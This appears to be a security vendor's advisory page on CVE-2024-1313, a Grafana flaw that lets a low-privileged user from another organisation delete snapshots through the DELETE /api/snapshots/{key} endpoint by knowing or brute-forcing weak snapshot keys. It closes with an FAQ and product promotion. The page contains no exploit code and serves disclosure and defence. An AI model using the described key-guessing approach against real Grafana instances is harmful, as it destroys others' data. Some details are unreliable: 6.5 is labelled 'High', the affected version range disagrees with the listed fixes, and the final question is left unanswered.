CVE-2024-1313

The DELETE /api/snapshots/{key} endpoint allows any Grafana user to delete snapshots if the user is NOT in the organization of the snapshot

Details

An attacker (a user without organization affiliation or with a "no basic role" in an organization other than the one where the dashboard exists), knowing the key or URL of a snapshot created by any user (including Grafana admins), can delete a snapshot (It is not feasible using UI), resulting in a BOLA vulnerability.
If an attacker is in the same organization of the dashboard snapshot, he can’t delete the snapshot. However, an attacker with low-privilege from a different organization would be able to delete it, resulting in the authorization flaw.

Precondition

To exploit this endpoint, an attacker must know the {key} of a snapshot. The attacker can potentially discover this key in various ways.

When creating a snapshot through the API, users can manually specify a key without any complexity requirements. This lack of complexity makes this key susceptible to brute force attacks. For example, simplistic keys such as "customer_key_123" or "admin_snap" can be easily guessed. These predictable keys allow low-privileged attackers to perform brute-force attacks using common keywords, potentially leading to compromised data integrity.

In addition, this key is displayed in plain text in the URL of a snapshot. This means that if a user publicly displays a snapshot, viewers might note down the key. Furthermore, since the snapshot feature is often used for sharing, displaying, and backing up data, a low-privileged attacker could potentially find snapshot keys in places like the organization's content management system, messaging platform, or shared documents.

CVE-2024-1313 has a CVSS score of 6.5 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (9.5.18, 10.0.13, 10.1.9, 10.2.6, 10.3.5); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2024-1313? CVE-2024-1313 is a high-severity security vulnerability in github.com/grafana/grafana (go), affecting versions >= 9.5.0, < 9.5.18. It is fixed in 9.5.18, 10.0.13, 10.1.9, 10.2.6, 10.3.5.
2. How severe is CVE-2024-1313? CVE-2024-1313 has a CVSS score of 6.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/grafana/grafana are affected by CVE-2024-1313? github.com/grafana/grafana (go) versions >= 9.5.0, < 9.5.18 is affected.
4. Is there a fix for CVE-2024-1313? Yes. CVE-2024-1313 is fixed in 9.5.18, 10.0.13, 10.1.9, 10.2.6, 10.3.5. Upgrade to this version or later.
5. Is CVE-2024-1313 exploitable, and should I be worried? Whether CVE-2024-1313 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-1313 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-1313?
